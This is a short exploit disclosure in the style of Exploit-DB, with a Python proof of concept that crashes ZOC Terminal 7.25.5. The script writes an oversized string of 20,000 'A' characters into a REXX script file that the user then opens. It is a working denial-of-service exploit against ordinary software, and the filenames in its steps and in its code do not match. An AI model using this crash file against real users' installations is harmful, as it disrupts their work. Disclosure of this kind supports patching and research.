# Exploit Title: ZOC Terminal 7.25.5 - 'Script' Denial of Service (PoC)# Discovery by: chuyreds# Discovery Date: 2020-04-05# Vendor Homepage: https://www.emtec.com# Software Link : http://www.emtec.com/downloads/zoc/zoc7255_x64.exe# Tested Version: 7.25.5# Vulnerability Type: Local# Tested on OS: Windows 10 Pro x64 es# Steps to produce the crash:# 1.- Run python code: ZOC_7.25.5_Script.py and it will create a new file "exp.zrx"# 2.- Open ZOC Terminal# 3.- Select Script > Start REXX Script... # 4.- Select "ZOC_7.25.5_Script.zrx" file and click "open"# 5.- Crashed
cod = "\x41"* 20000
f = open('ZOC_7.25.5_Script.zrx','w')
f.write(cod)
f.close()